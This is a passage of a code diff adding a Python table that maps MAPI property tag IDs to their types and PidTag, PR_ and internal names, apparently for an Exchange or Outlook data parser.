+        0x661d: (0x000b, None, None, 4, "PidTagOutOfOfficeState", "PR_OOF_STATE", "OofState"),
+        0x0062: (0x0003, None, None, 4, "PidTagOwnerAppointmentId", "PR_OWNER_APPT_ID", "OwnerApptId"),
+        0x0e09: (0x0102, None, None, 4, "PidTagParentEntryId", "PR_PARENT_ENTRYID", "ParentEntryId"),
+        0x6749: (0x0014, None, None, 4, "PidTagParentFolderId", "ptagParentFID", "ParentFid"),
+        0x0025: (0x0102, None, None, 4, "PidTagParentKey", "PR_PARENT_KEY", "ParentKey"),
+        0x65e1: (0x0102, None, None, 4, "PidTagParentSourceKey", "PR_PARENT_SOURCE_KEY", "ParentSourceKey"),
+        0x3a50: (0x001f, None, None, 4, "PidTagPersonalHomePage", "PR_PERSONAL_HOME_PAGE", "PersonalHomePage"),
+        0x3019: (0x0102, None, None, 4, "PidTagPolicyTag", "PR_POLICY_TAG", "PolicyTag"),
+        0x3a15: (0x001f, None, None, 4, "PidTagPostalAddress", "PR_POSTAL_ADDRESS", "PostalAddress"),
+        0x65e3: (0x0102, None, None, 4, "PidTagPredecessorChangeList", "PR_PREDECESSOR_CHANGE_LIST", "PredecessorChangeList"),
+        0x0e28: (0x001f, None, None, 4, "PidTagPrimarySendAccount", "PR_PRIMARY_SEND_ACCT", "PrimarySendAccount"),
+        0x3a1a: (0x001f, None, None, 4, "PidTagPrimaryTelephoneNumber", "PR_PRIMARY_TELEPHONE_NUMBER", "PrimaryTelephoneNumber"),
+        0x7d01: (0x000b, None, None, 4, "PidTagProcessed", "PR_PROCESSED", "IsProcessed"),
+        0x3a46: (0x001f, None, None, 4, "PidTagProfession", "PR_PROFESSION", "Profession"),
+        0x666a: (0x0003, None, None, 4, "PidTagProhibitReceiveQuota", "PR_PROHIBIT_RECEIVE_QUOTA", "ProhibitReceiveQuota"),
+        0x666e: (0x0003, None, None, 4, "PidTagProhibitSendQuota", "PR_PROHIBIT_SEND_QUOTA", "ProhibitSendQuota"),
+        0x4083: (0x001f, None, None, 4, "PidTagPurportedSenderDomain", "PR_PURPORTED_SENDER_DOMAIN", "PurportedSenderDomain"),
+        0x3a1d: (0x001f, None, None, 4, "PidTagRadioTelephoneNumber", "PR_RADIO_TELEPHONE_NUMBER", "RadioTelephoneNumber"),
+        0x0e69: (0x000b, None, None, 4, "PidTagRead", "PR_READ", "Read"),
+        0x4029: (0x001f, None, None, 4, "PidTagReadReceiptAddressType", "ptagReadReceiptAddrType", "ReadReceiptAddrType"),
+        0x402a: (0x001f, None, None, 4, "PidTagReadReceiptEmailAddress", "ptagReadReceiptEmailAddr", "ReadReceiptEmailAddress"),
+        0x0046: (0x0102, None, None, 4, "PidTagReadReceiptEntryId", "PR_READ_RECEIPT_ENTRYID", "ReadReceiptEntryId"),
+        0x402b: (0x001f, None, None, 4, "PidTagReadReceiptName", "ptagReadReceiptDisplayName", "ReadReceiptDisplayName"),
+        0x0053: (0x0102, None, None, 4, "PidTagReadReceiptSearchKey", "PR_READ_RECEIPT_SEARCH_KEY", "ReadReceiptSearchKey"),
+        0x5d05: (0x001f, None, None, 4, "PidTagReadReceiptSmtpAddress", "ptagRecipientReadReceiptSmtpAddress", "ReadReceiptSMTPAddress"),
+        0x0075: (0x001f, None, None, 4, "PidTagReceivedByAddressType", "PR_RECEIVED_BY_ADDRTYPE", "ReceivedByAddrType"),
+        0x0076: (0x001f, None, None, 4, "PidTagReceivedByEmailAddress", "PR_RECEIVED_BY_EMAIL_ADDRESS", "ReceivedByEmailAddress"),
+        0x003f: (0x0102, None, None, 4, "PidTagReceivedByEntryId", "PR_RECEIVED_BY_ENTRYID", "ReceivedByEntryId"),
+        0x0040: (0x001f, None, None, 4, "PidTagReceivedByName", "PR_RECEIVED_BY_NAME", "ReceivedByName"),
+        0x0051: (0x0102, None, None, 4, "PidTagReceivedBySearchKey", "PR_RECEIVED_BY_SEARCH_KEY", "ReceivedBySearchKey"),
+        0x5d07: (0x001f, None, None, 4, "PidTagReceivedBySmtpAddress", "ptagRecipientRcvdBySmtpAddress", "ReceivedBySmtpAddress"),
+        0x0077: (0x001f, None, None, 4, "PidTagReceivedRepresentingAddressType", "PR_RCVD_REPRESENTING_ADDRTYPE", "RcvdRepresentingAddrType"),
+        0x0078: (0x001f, None, None, 4, "PidTagReceivedRepresentingEmailAddress", "PR_RCVD_REPRESENTING_EMAIL_ADDRESS", "RcvdRepresentingEmailAddress"),
+        0x0043: (0x0102, None, None, 4, "PidTagReceivedRepresentingEntryId", "PR_RCVD_REPRESENTING_ENTRYID", "RcvdRepresentingEntryId"),
+        0x0044: (0x001f, None, None, 4, "PidTagReceivedRepresentingName", "PR_RCVD_REPRESENTING_NAME", "RcvdRepresentingName"),
+        0x0052: (0x0102, None, None, 4, "PidTagReceivedRepresentingSearchKey", "PR_RCVD_REPRESENTING_SEARCH_KEY", "RcvdRepresentingSearchKey"),
+        0x5d08: (0x001f, None, None, 4, "PidTagReceivedRepresentingSmtpAddress", "ptagRecipientRcvdRepresentingSmtpAddress", "RcvdRepresentingSmtpAddress"),
+        0x5ff6: (0x001f, None, None, 4, "PidTagRecipientDisplayName", "PR_RECIPIENT_DISPLAY_NAME", "RecipientDisplayName"),
+        0x5ff7: (0x0102, None, None, 4, "PidTagRecipientEntryId", "PR_RECIPIENT_ENTRYID", "RecipientEntryId"),
+        0x5ffd: (0x0003, None, None, 4, "PidTagRecipientFlags", "PR_RECIPIENT_FLAGS", "RecipientFlags"),
+        0x5fdf: (0x0003, None, None, 4, "PidTagRecipientOrder", "PR_RECIPIENT_ORDER", "RecipientOrder"),
+        0x5fe1: (0x000b, None, None, 4, "PidTagRecipientProposed", "PR_RECIPIENT_PROPOSED", "RecipientProposed"),
+        0x5fe4: (0x0040, None, None, 4, "PidTagRecipientProposedEndTime", "PR_RECIPIENT_PROPOSEDENDTIME", "RecipientProposedEndTime"),
+        0x5fe3: (0x0040, None, None, 4, "PidTagRecipientProposedStartTime", "PR_RECIPIENT_PROPOSEDSTARTTIME", "RecipientProposedStartTime"),
+        0x002b: (0x000b, None, None, 4, "PidTagRecipientReassignmentProhibited", "PR_RECIPIENT_REASSIGNMENT_PROHIBITED", "RecipientReassignmentProhibited"),
+        0x5fff: (0x0003, None, None, 4, "PidTagRecipientTrackStatus", "PR_RECIPIENT_TRACKSTATUS", "RecipientTrackStatus"),
+        0x5ffb: (0x0040, None, None, 4, "PidTagRecipientTrackStatusTime", "PR_RECIPIENT_TRACKSTATUS_TIME", "RecipientTrackStatusTime"),
+        0x0c15: (0x0003, None, None, 4, "PidTagRecipientType", "PR_RECIPIENT_TYPE", "RecipientType"),
+        0x0ff9: (0x0102, None, None, 4, "PidTagRecordKey", "PR_RECORD_KEY", "RecordKey"),
+        0x3a47: (0x001f, None, None, 4, "PidTagReferredByName", "PR_REFERRED_BY_NAME", "PreferredByName"),
+        0x36d5: (0x0102, None, None, 4, "PidTagRemindersOnlineEntryId", "PR_REM_ONLINE_ENTRYID", "RemindersSearchFolderEntryId"),
+        0x0c21: (0x001f, None, None, 4, "PidTagRemoteMessageTransferAgent", "PR_DSN_REMOTE_MTA", "RemoteMta"),
+        0x370b: (0x0003, None, None, 4, "PidTagRenderingPosition", "PR_RENDERING_POSITION", "RenderingPosition"),
+        0x004f: (0x0102, None, None, 4, "PidTagReplyRecipientEntries", "PR_REPLY_RECIPIENT_ENTRIES", "ReplyRecipientEntries"),
+        0x0050: (0x001f, None, None, 4, "PidTagReplyRecipientNames", "PR_REPLY_RECIPIENT_NAMES", "ReplyRecipientNames"),
+        0x0c17: (0x000b, None, None, 4, "PidTagReplyRequested", "PR_REPLY_REQUESTED", "ReplyRequested"),
+        0x65c2: (0x0102, None, None, 4, "PidTagReplyTemplateId", "PR_REPLY_TEMPLATE_ID", "ReplyTemplateID"),
+        0x0030: (0x0040, None, None, 4, "PidTagReplyTime", "PR_REPLY_TIME", "ReplyTime"),
+        0x0080: (0x001f, None, None, 4, "PidTagReportDisposition", "PR_REPORT_DISPOSITION_W", "ReportDisposition"),
+        0x0081: (0x001f, None, None, 4, "PidTagReportDispositionMode", "PR_REPORT_DISPOSITION_MODE_W", "ReportDispositionMode"),
+        0x0045: (0x0102, None, None, 4, "PidTagReportEntryId", "PR_REPORT_ENTRYID", "ReportEntryId"),
+        0x6820: (0x001f, None, None, 4, "PidTagReportingMessageTransferAgent", "ptagDsnReportingMta", "ReportingMta"),
+        0x003a: (0x001f, None, None, 4, "PidTagReportName", "PR_REPORT_NAME", "ReportName"),
+        0x0054: (0x0102, None, None, 4, "PidTagReportSearchKey", "PR_REPORT_SEARCH_KEY", "ReportSearchKey"),
+        0x0031: (0x0102, None, None, 4, "PidTagReportTag", "PR_REPORT_TAG", "ReportTag"),
+        0x0032: (0x0040, None, None, 4, "PidTagReportTime", "PR_REPORT_TIME", "ReportTime"),
+        0x3fe7: (0x0003, None, None, 4, "PidTagResolveMethod", "PR_RESOLVE_METHOD", "ResolveMethod"),
+        0x0063: (0x000b, None, None, 4, "PidTagResponseRequested", "PR_RESPONSE_REQUESTED", "ResponseRequested"),
+        0x0e0f: (0x000b, None, None, 4, "PidTagResponsibility", "PR_RESPONSIBILITY", "Responsibility"),
+        0x301c: (0x0040, None, None, 4, "PidTagRetentionDate", "PR_RETENTION_DATE", "RetentionDate"),
+        0x301d: (0x0003, None, None, 4, "PidTagRetentionFlags", "PR_RETENTION_FLAGS", "RetentionFlags"),
+        0x301a: (0x0003, None, None, 4, "PidTagRetentionPeriod", "PR_RETENTION_PERIOD", "RetentionPeriod"),
+        0x6639: (0x0003, None, None, 4, "PidTagRights", "PR_RIGHTS", "AccessRights"),
+        0x7c06: (0x0003, None, None, 4, "PidTagRoamingDatatypes", "PR_ROAMING_DATATYPES", "UserConfigurationType"),
+        0x7c07: (0x0102, None, None, 4, "PidTagRoamingDictionary", "PR_ROAMING_DICTIONARY", "UserConfigurationDictionary"),
+        0x7c08: (0x0102, None, None, 4, "PidTagRoamingXmlStream", "PR_ROAMING_XMLSTREAM", "UserConfigurationXml"),
+        0x3000: (0x0003, None, None, 4, "PidTagRowid", "PR_ROWID", "RowId"),
+        0x0ff5: (0x0003, None, None, 4, "PidTagRowType", "PR_ROW_TYPE", "RowType"),
+        0x1009: (0x0102, None, None, 4, "PidTagRtfCompressed", "PR_RTF_COMPRESSED", "RtfCompressed"),
+        0x0e1f: (0x000b, None, None, 4, "PidTagRtfInSync", "PR_RTF_IN_SYNC", "RtfInSync"),
+        0x6650: (0x0003, None, None, 4, "PidTagRuleActionNumber", "PR_RULE_ACTION_NUMBER", "RuleActionNumber"),
+        0x6680: (0x00fe, None, None, 4, "PidTagRuleActions", "PR_RULE_ACTIONS", "RuleActions"),
+        0x6649: (0x0003, None, None, 4, "PidTagRuleActionType", "PR_RULE_ACTION_TYPE", "RuleActionType"),
+        0x6679: (0x00fd, None, None, 4, "PidTagRuleCondition", "PR_RULE_CONDITION", "RuleCondition"),
+        0x6648: (0x0003, None, None, 4, "PidTagRuleError", "PR_RULE_ERROR", "RuleError"),
+        0x6651: (0x0102, None, None, 4, "PidTagRuleFolderEntryId", "PR_RULE_FOLDER_ENTRYID", "RuleFolderEntryID"),
+        0x6674: (0x0014, None, None, 4, "PidTagRuleId", "PR_RULE_ID", "RuleID"),
+        0x6675: (0x0102, None, None, 4, "PidTagRuleIds", "PR_RULE_IDS", "RuleIDs"),
+        0x6683: (0x0003, None, None, 4, "PidTagRuleLevel", "PR_RULE_LEVEL", "RuleLevel"),
+        0x65ed: (0x0003, None, None, 4, "PidTagRuleMessageLevel", "PR_RULE_MSG_LEVEL", "RuleMsgLevel"),
+        0x65ec: (0x001f, None, None, 4, "PidTagRuleMessageName", "ptagRuleMsgName", "RuleMsgName"),
+        0x65eb: (0x001f, None, None, 4, "PidTagRuleMessageProvider", "ptagRuleMsgProvider", "RuleMsgProvider"),
+        0x65ee: (0x0102, None, None, 4, "PidTagRuleMessageProviderData", "PR_RULE_MSG_PROVIDER_DATA", "RuleMsgProviderData"),
+        0x65f3: (0x0003, None, None, 4, "PidTagRuleMessageSequence", "PR_RULE_MSG_SEQUENCE", "RuleMsgSequence"),
+        0x65e9: (0x0003, None, None, 4, "PidTagRuleMessageState", "PR_RULE_MSG_STATE", "RuleMsgState"),
+        0x65ea: (0x0003, None, None, 4, "PidTagRuleMessageUserFlags", "PR_RULE_MSG_USER_FLAGS", "RuleMsgUserFlags"),
+        0x6682: (0x001f, None, None, 4, "PidTagRuleName", "PR_RULE_NAME", "RuleName"),
+        0x6681: (0x001f, None, None, 4, "PidTagRuleProvider", "PR_RULE_PROVIDER", "RuleProvider"),
+        0x6684: (0x0102, None, None, 4, "PidTagRuleProviderData", "PR_RULE_PROVIDER_DATA", "RuleProviderData"),
+        0x6676: (0x0003, None, None, 4, "PidTagRuleSequence", "PR_RULE_SEQUENCE", "RuleSequence"),
+        0x6677: (0x0003, None, None, 4, "PidTagRuleState", "PR_RULE_STATE", "RuleState"),
+        0x6678: (0x0003, None, None, 4, "PidTagRuleUserFlags", "PR_RULE_USER_FLAGS", "RuleUserFlags"),
+        0x686a: (0x0102, None, None, 4, "PidTagScheduleInfoAppointmentTombstone", "PR_SCHDINFO_APPT_TOMBSTONE", "AppointmentTombstonesId"),
+        0x686d: (0x000b, None, None, 4, "PidTagScheduleInfoAutoAcceptAppointments", "PR_SCHDINFO_AUTO_ACCEPT_APPTS", None),
+        0x6845: (0x0102, None, None, 4, "PidTagSearchFolderDefinition", "PR_WB_SF_DEFINITION", "DelegateEntryIds"),
+        0x6844: (0x0102, None, None, 4, "PidTagSearchFolderRecreateInfo", "PR_WB_SF_RECREATE_INFO", "ActivityLogicalItemId"),
+        0x684a: (0x0003, None, None, 4, "PidTagWlinkFlags", "PR_WLINK_FLAGS", "DelegateNames"),
+        0x6842: (0x0102, None, None, 4, "PidTagWlinkGroupHeaderID", None, "DelegateBossWantsCopy"),
+        0x684b: (0x0102, None, None, 4, "PidTagWlinkOrdinal", "PR_WLINK_ORDINAL", "DelegateBossWantsInfo"),
+        0x686f: (0x000b, None, None, 4, "PidTagScheduleInfoDisallowOverlappingAppts", "PR_SCHDINFO_DISALLOW_OVERLAPPING_APPTS", None),
+        0x686e: (0x000b, None, None, 4, "PidTagScheduleInfoDisallowRecurringAppts", "PR_SCHDINFO_DISALLOW_RECURRING_APPTS", None),
+        0x6843: (0x000b, None, None, 4, "PidTagScheduleInfoDontMailDelegates", "PR_SCHDINFO_DONT_MAIL_DELEGATES", "ActivityContainerType"),
+        0x686c: (0x0102, None, None, 4, "PidTagScheduleInfoFreeBusy", "PR_SCHDINFO_FREEBUSY", None),
+        0x6856: (0x1102, None, None, 4, "PidTagScheduleInfoFreeBusyAway", "PR_SCHDINFO_FREEBUSY_OOF", "AgingFileName9AndPrev"),
+        0x6854: (0x0102, None, None, 4, "PidTagWlinkAddressBookEID", "PR_WLINK_ABEID", "NavigationNodeAddressBookEntryId"),
+        0x6850: (0x0102, None, None, 4, "PidTagWlinkGroupClsid", "PR_WLINK_GROUP_CLSID", "ScheduleInfoFreeBusyMerged"),
+        0x6852: (0x0003, None, None, 4, "PidTagWlinkSection", "PR_WLINK_SECTION", "NavigationNodeGroupSection"),
+        0x6855: (0x1003, None, None, 4, "PidTagScheduleInfoMonthsAway", "PR_SCHDINFO_MONTHS_OOF", "ScheduleInfoMonthsOof"),
+        0x6853: (0x0003, None, None, 4, "PidTagWlinkCalendarColor", "PR_WLINK_CALENDAR_COLOR", "NavigationNodeCalendarColor"),
+        0x684f: (0x0102, None, None, 4, "PidTagWlinkFolderType", "PR_WLINK_FOLDER_TYPE", "ScheduleInfoMonthsMerged"),
+        0x6851: (0x001f, None, None, 4, "PidTagWlinkGroupName", "PR_WLINK_GROUP_NAME", "NavigationNodeGroupName"),
+        0x6841: (0x0003, None, None, 4, "PidTagSearchFolderTemplateId", "PR_WB_SF_TEMPLATE_ID", "AssociatedSearchFolderTemplateId"),
+        0x6622: (0x0102, None, None, 4, "PidTagSchedulePlusFreeBusyEntryId", "PR_SPLUS_FREE_BUSY_ENTRYID", "FreeBusyEntryId"),
+        0x683a: (0x0003, None, None, 4, "PidTagSearchFolderExpiration", "PR_WB_SF_EXPIRATION", "ActivitySequenceNumber"),
+        0x6834: (0x0003, None, None, 4, "PidTagSearchFolderLastUsed", "PR_WB_SF_LAST_USED", "AssociatedSearchFolderLastUsedTime"),
+        0x300b: (0x0102, None, None, 4, "PidTagSearchKey", "PR_SEARCH_KEY", "SearchKey"),
+        0x0e6a: (0x001f, None, None, 4, "PidTagSecurityDescriptorAsXml", "PR_NT_SECURITY_DESCRIPTOR_AS_XML", "NTSDAsXML"),
+        0x3609: (0x000b, None, None, 4, "PidTagSelectable", "PR_SELECTABLE", "Selectable"),
+        0x0c1e: (0x001f, None, None, 4, "PidTagSenderAddressType", "PR_SENDER_ADDRTYPE", "SenderAddrType"),
+        0x0c1f: (0x001f, None, None, 4, "PidTagSenderEmailAddress", "PR_SENDER_EMAIL_ADDRESS", "SenderEmailAddress"),
+        0x0c19: (0x0102, None, None, 4, "PidTagSenderEntryId", "PR_SENDER_ENTRYID", "SenderEntryId"),
+        0x4079: (0x0003, None, None, 4, "PidTagSenderIdStatus", "PR_SENDER_ID_STATUS", "SenderIdStatus"),
+        0x0c1a: (0x001f, None, None, 4, "PidTagSenderName", "PR_SENDER_NAME", "SenderName"),
+        0x0c1d: (0x0102, None, None, 4, "PidTagSenderSearchKey", "PR_SENDER_SEARCH_KEY", "SenderSearchKey"),
+        0x5d01: (0x001f, None, None, 4, "PidTagSenderSmtpAddress", "SenderSmtpAddress", "SenderSmtpAddress"),
+        0x0036: (0x0003, None, None, 4, "PidTagSensitivity", "PR_SENSITIVITY", "Sensitivity"),
+        0x6740: (0x00fb, None, None, 4, "PidTagSentMailSvrEID", "ptagSentMailSvrEID", "SentMailSvrEId"),
+        0x0064: (0x001f, None, None, 4, "PidTagSentRepresentingAddressType", "PR_SENT_REPRESENTING_ADDRTYPE", "SentRepresentingAddrType"),
+        0x0065: (0x001f, None, None, 4, "PidTagSentRepresentingEmailAddress", "PR_SENT_REPRESENTING_EMAIL_ADDRESS", "SentRepresentingEmailAddress"),
+        0x0041: (0x0102, None, None, 4, "PidTagSentRepresentingEntryId", "PR_SENT_REPRESENTING_ENTRYID", "SentRepresentingEntryId"),
+        0x401a: (0x0003, None, None, 4, "PidTagSentRepresentingFlags", "ptagSentRepresentingFlags", "SentRepresentingFlags"),
+        0x0042: (0x001f, None, None, 4, "PidTagSentRepresentingName", "PR_SENT_REPRESENTING_NAME", "SentRepresentingName"),
+        0x003b: (0x0102, None, None, 4, "PidTagSentRepresentingSearchKey", "PR_SENT_REPRESENTING_SEARCH_KEY", "SentRepresentingSearchKey"),
+        0x5d02: (0x001f, None, None, 4, "PidTagSentRepresentingSmtpAddress", "ptagRecipientSentRepresentingSMTPAddress", "SentRepresentingSmtpAddress"),
+        0x6638: (0x0102, None, None, 4, "PidTagSerializedReplidGuidMap", "ptagSerializedReplidGuidMap", "FolderChildCount32"),
+        0x6705: (0x0003, None, None, 4, "PidTagSortLocaleId", "PR_SORT_LOCALE_ID", "SortLocaleId"),
+        0x65e0: (0x0102, None, None, 4, "PidTagSourceKey", "PR_SOURCE_KEY", "SourceKey"),
+        0x3a48: (0x001f, None, None, 4, "PidTagSpouseName", "PR_SPOUSE_NAME", "SpouseName"),
+        0x0060: (0x0040, None, None, 4, "PidTagStartDate", "PR_START_DATE", "StartDate"),
+        0x301b: (0x0102, None, None, 4, "PidTagStartDateEtc", "PR_START_DATE_ETC", "StartDateEtc"),
+        0x0ffb: (0x0102, None, None, 4, "PidTagStoreEntryId", "PR_STORE_ENTRYID", "StoreEntryid"),
+        0x340e: (0x0003, None, None, 4, "PidTagStoreState", "PR_STORE_STATE", "StoreState"),
+        0x340d: (0x0003, None, None, 4, "PidTagStoreSupportMask", "PR_STORE_SUPPORT_MASK", "StoreSupportMask"),
+        0x360a: (0x000b, None, None, 4, "PidTagSubfolders", "PR_SUBFOLDERS", "SubFolders"),
+        0x0037: (0x001f, None, None, 4, "PidTagSubject", "PR_SUBJECT", "Subject"),
+        0x003d: (0x001f, None, None, 4, "PidTagSubjectPrefix", "PR_SUBJECT_PREFIX", "SubjectPrefix"),
+        0x0c1b: (0x001f, None, None, 4, "PidTagSupplementaryInfo", "PR_SUPPLEMENTARY_INFO", "SupplementaryInfo"),
+        0x0e2d: (0x0102, None, None, 4, "PidTagSwappedToDoData", "PR_SWAPPED_TODO_DATA", "SwappedToDoData"),
+        0x0e2c: (0x0102, None, None, 4, "PidTagSwappedToDoStore", "PR_SWAPPED_TODO_STORE", "SwappedToDoStore"),
+        0x3010: (0x0102, None, None, 4, "PidTagTargetEntryId", "PR_TARGET_ENTRYID", "TargetEntryId"),
+        0x3a4b: (0x001f, None, None, 4, "PidTagTelecommunicationsDeviceForDeafTelephoneNumber", "PR_TTYTDD_PHONE_NUMBER", "TtytddPhoneNumber"),
+        0x3902: (0x0102, None, None, 4, "PidTagTemplateid", "PR_TEMPLATEID", "TemplateId"),
+        0x371b: (0x001f, None, None, 4, "PidTagTextAttachmentCharset", "ptagTextAttachmentCharset", "TextAttachmentCharset"),
+        0x007f: (0x0102, None, None, 4, "PidTagTnefCorrelationKey", "PR_TNEF_CORRELATION_KEY", "TnefCorrelationKey"),
+        0x0e2b: (0x0003, None, None, 4, "PidTagToDoItemFlags", "PR_TODO_ITEM_FLAGS", "ToDoItemFlags"),
+        0x3a20: (0x001f, None, None, 4, "PidTagTransmittableDisplayName", "PR_TRANSMITABLE_DISPLAY_NAME", "TransmitableDisplayName"),
+        0x007d: (0x001f, None, None, 4, "PidTagTransportMessageHeaders", "PR_TRANSPORT_MESSAGE_HEADERS", "TransportMessageHeaders"),
+        0x0e79: (0x0003, None, None, 4, "PidTagTrustSender", "PR_TRUST_SENDER", "TrustSender"),
+        0x6619: (0x0102, None, None, 4, "PidTagUserEntryId", "PR_USER_ENTRYID", "InternetAddressConversion"),
+        0x7001: (0x0102, None, None, 4, "PidTagViewDescriptorBinary", "PR_VD_BINARY", "UserInformationLastMaintenanceTime"),
+        0x7006: (0x001f, None, None, 4, "PidTagViewDescriptorName", "PR_VD_NAME", None),
+        0x7002: (0x001f, None, None, 4, "PidTagViewDescriptorStrings", "PR_VD_STRINGS", None),
+        0x7007: (0x0003, None, None, 4, "PidTagViewDescriptorVersion", "PR_VD_VERSION", None),
+        0x3a41: (0x0040, None, None, 4, "PidTagWeddingAnniversary", "PR_WEDDING_ANNIVERSARY", "WeddingAnniversary"),
+        0x6891: (0x0102, None, None, 4, "PidTagWlinkAddressBookStoreEID", "PR_WLINK_AB_EXSTOREEID", "ConversationContentUnreadMailboxWide"),
+        0x6890: (0x0102, None, None, 4, "PidTagWlinkClientID", "PR_WLINK_CLIENTID", "ConversationContentUnread"),
+        0x684c: (0x0102, None, None, 4, "PidTagWlinkEntryId", "PR_WLINK_ENTRYID", "NavigationNodeEntryId"),
+        0x684d: (0x0102, None, None, 4, "PidTagWlinkRecordKey", "PR_WLINK_RECKEY", "NavigationNodeRecordKey"),
+        0x6892: (0x0003, None, None, 4, "PidTagWlinkROGroupType", "PR_WLINK_RO_GROUP_TYPE", "ConversationMessageSize"),
+        0x684e: (0x0102, None, None, 4, "PidTagWlinkStoreEntryId", "PR_WLINK_STORE_ENTRYID", "NavigationNodeStoreEntryId"),
+# ====================
+        0x0000: (0x0001, None, None, 4, None, None, "Null"),
+        0x6700: (0x001f, None, None, 4, None, None, "PstPath"),
+        0x6603: (0x001f, None, None, 4, None, None, "ProfileUser"),
+        0x660b: (0x001f, None, None, 4, None, None, "ProfileMailbox"),
+        0x6602: (0x001f, None, None, 4, None, None, "ProfileHomeServer"),
+        0x6612: (0x001f, None, None, 4, None, None, "ProfileHomeServerDn"),
+        0x660c: (0x001f, None, None, 4, None, None, "ProfileServer"),
+        0x6614: (0x001e, None, None, 4, None, None, "ProfileServerDn"),
+        0x6601: (0x0003, None, None, 4, None, None, "ProfileConfigFlags"),
+        0x6605: (0x0003, None, None, 4, None, None, "ProfileTransportFlags"),
+        0x6600: (0x0003, None, None, 4, None, None, "ProfileVersion"),
+        0x6604: (0x0003, None, None, 4, None, None, "ProfileConnectFlags"),
+        0x6606: (0x0003, None, None, 4, None, None, "ProfileUiState"),
+        0x000b: (0x0102, None, None, 4, None, None, "ConversationKey"),
+        0x0016: (0x000b, None, None, 4, None, None, "ImplicitConversionProhibited"),
+        0x0019: (0x0040, None, None, 4, None, None, "LatestDeliveryTime"),
+        0x001b: (0x0102, None, None, 4, None, None, "MessageDeliveryId"),
+        0x001e: (0x0102, None, None, 4, None, None, "MessageSecurityLabel"),
+        0x001f: (0x0102, None, None, 4, None, None, "ObsoletedIpms"),
+        0x0020: (0x0102, None, None, 4, None, None, "OriginallyIntendedRecipientName"),
+        0x0021: (0x0102, None, None, 4, None, None, "OriginalEits"),
+        0x0022: (0x0102, None, None, 4, None, None, "OriginatorCertificate"),
+        0x0027: (0x0102, None, None, 4, None, None, "OriginCheck"),
+        0x002c: (0x0102, None, None, 4, None, None, "RedirectionHistory"),
+        0x002d: (0x0102, None, None, 4, None, None, "RelatedIpms"),
+        0x002f: (0x001f, None, None, 4, None, None, "Languages"),
+        0x0033: (0x000b, None, None, 4, None, None, "ReturnedIpm"),
+        0x0034: (0x0003, None, None, 4, None, None, "Security"),
+        0x0035: (0x000b, None, None, 4, None, None, "IncompleteCopy"),
+        0x0038: (0x0102, None, None, 4, None, None, "SubjectIpm"),
+        0x003c: (0x0102, None, None, 4, None, None, "X400ContentType"),
+        0x003e: (0x0003, None, None, 4, None, None, "NonReceiptReason"),
+        0x0048: (0x0040, None, None, 4, None, None, "ProviderSubmitTime"),
+        0x004a: (0x000b, None, None, 4, None, None, "DiscVal"),
+        0x0056: (0x0102, None, None, 4, None, None, "OriginalAuthorSearchKey"),
+        0x0079: (0x001f, None, None, 4, None, None, "OriginalAuthorAddrType"),
+        0x007a: (0x001f, None, None, 4, None, None, "OriginalAuthorEmailAddress"),
+        0x007b: (0x001f, None, None, 4, None, None, "OriginallyIntendedRecipAddrType"),
+        0x007c: (0x001f, None, None, 4, None, None, "OriginallyIntendedRecipEmailAddress"),
+        0x007e: (0x0102, None, None, 4, None, None, "Delegation"),
+        0x4031: (0x001f, None, None, 4, None, None, "SentRepresentingSimpleDisplayName"),
+        0x4032: (0x001f, None, None, 4, None, None, "OriginalSenderSimpleDisplayName"),
+        0x4033: (0x001f, None, None, 4, None, None, "OriginalSentRepresentingSimpleDisplayName"),
+        0x4034: (0x001f, None, None, 4, None, None, "ReceivedBySimpleDisplayName"),
+        0x4035: (0x001f, None, None, 4, None, None, "RcvdRepresentingSimpleDisplayName"),
+        0x4036: (0x001f, None, None, 4, None, None, "ReadReceiptSimpleDisplayName"),
+        0x4060: (0x001f, None, None, 4, None, None, "OriginalAuthorSimpleDisplayName"),
+        0x1002: (0x0102, None, None, 4, None, None, "OriginatorAndDlExpansionHistory"),
+        0x1003: (0x0102, None, None, 4, None, None, "ReportingDlName"),
+        0x1004: (0x0102, None, None, 4, None, None, "ReportingMtaCertificate"),
+        0x1007: (0x0003, None, None, 4, None, None, "RtfSyncBodyCount"),
+        0x1008: (0x001f, None, None, 4, None, None, "RtfSyncBodyTag"),
+        0x1010: (0x0003, None, None, 4, None, None, "RtfSyncPrefixCount"),
+        0x1011: (0x0003, None, None, 4, None, None, "RtfSyncTrailingCount"),
+        0x1012: (0x0102, None, None, 4, None, None, "OriginallyIntendedRecipEntryId"),
+        0x1097: (0x0003, None, None, 4, None, None, "ItemTemporaryFlag"),
+        0x10c6: (0x001f, None, None, 4, None, None, "DavSubmitData"),
+        0x0c00: (0x0102, None, None, 4, None, None, "ContentIntegrityCheck"),
+        0x0c01: (0x0003, None, None, 4, None, None, "ExplicitConversion"),
+        0x0c02: (0x000b, None, None, 4, None, None, "IpmReturnRequested"),
+        0x0c03: (0x0102, None, None, 4, None, None, "MessageToken"),
+        0x0c07: (0x0003, None, None, 4, None, None, "DeliveryPoint"),
+        0x0c09: (0x0102, None, None, 4, None, None, "OriginatorRequestedAlternateRecipient"),
+        0x0c0a: (0x000b, None, None, 4, None, None, "PhysicalDeliveryBureauFaxDelivery"),
+        0x0c0b: (0x0003, None, None, 4, None, None, "PhysicalDeliveryMode"),
+        0x0c0c: (0x0003, None, None, 4, None, None, "PhysicalDeliveryReportRequest"),
+        0x0c0d: (0x0102, None, None, 4, None, None, "PhysicalForwardingAddress"),
+        0x0c0e: (0x000b, None, None, 4, None, None, "PhysicalForwardingAddressRequested"),
+        0x0c0f: (0x000b, None, None, 4, None, None, "PhysicalForwardingProhibited"),
+        0x0c10: (0x0102, None, None, 4, None, None, "PhysicalRenditionAttributes"),
+        0x0c11: (0x0102, None, None, 4, None, None, "ProofOfDelivery"),
+        0x0c12: (0x000b, None, None, 4, None, None, "ProofOfDeliveryRequested"),
+        0x0c13: (0x0102, None, None, 4, None, None, "RecipientCertificate"),
+        0x0c14: (0x001f, None, None, 4, None, None, "RecipientNumberForAdvice"),
+        0x0c16: (0x0003, None, None, 4, None, None, "RegisteredMailType"),
+        0x0c18: (0x0003, None, None, 4, None, None, "RequestedDeliveryMethod"),
+        0x0c1c: (0x0003, None, None, 4, None, None, "TypeOfMtsUser"),
+        0x5903: (0x001f, None, None, 4, None, None, "INetMailOverrideCharset"),
+        0x4030: (0x001f, None, None, 4, None, None, "SenderSimpleDisplayName"),
+        0x0e00: (0x0014, None, None, 4, None, None, "CurrentVersion"),
+        0x0e05: (0x001f, None, None, 4, None, None, "ParentDisplay"),
+        0x0e0a: (0x0102, None, None, 4, None, None, "SentMailEntryId"),
